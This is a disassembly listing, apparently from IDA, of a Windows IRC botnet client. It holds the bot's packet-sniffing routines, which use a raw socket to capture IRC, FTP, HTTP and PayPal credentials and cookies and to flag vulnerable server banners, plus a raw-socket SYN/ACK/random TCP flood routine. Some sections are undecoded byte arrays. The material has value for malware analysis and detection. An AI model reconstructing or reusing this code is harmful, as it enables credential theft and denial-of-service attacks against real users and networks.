		dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h
		dd 56022BDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h
		dd 68FFFFFDh, 435798h, 9720E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch,	9268E8D0h
		dd 5659FFFFh, 0DE4EE890h, 0BB53022Bh, 434EB0h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h,	858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 8C68FFFEh
		dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 577C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h
		dd 8B7F048Dh, 4EC4C504h, 34FF0043h, 434EA085h, 4C858D00h
		dd 68FFFFFDh, 435748h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh,	50004CAFh
		dd 43571C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h
		dd 0D075FF00h, 0FF90C9E8h, 0E85659FFh, 22BDCB0h
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CDCE0, eax
		mov	eax, offset dword_4CDCE0
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A


loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2


loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491


loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7


loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507


loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E


loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E


loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4


loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615


loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B


loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CAF88
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CAFF8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AC8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CAF20
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435A98
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h


loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CAF8C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905


loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h


loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h


loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1


loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A64
		jmp	loc_4129E7
; ---------------------------------------------------------------------------


loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A30
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4359FC
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4359C4


loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------


loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43598C
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 81E80000h, 900226DBh
		dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 5AF468FFh, 0E8500043h, 8DCAh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------


loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CAF74
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CAF74
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CAF70
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CAF74
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27803CCh
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2780000h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2780000h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
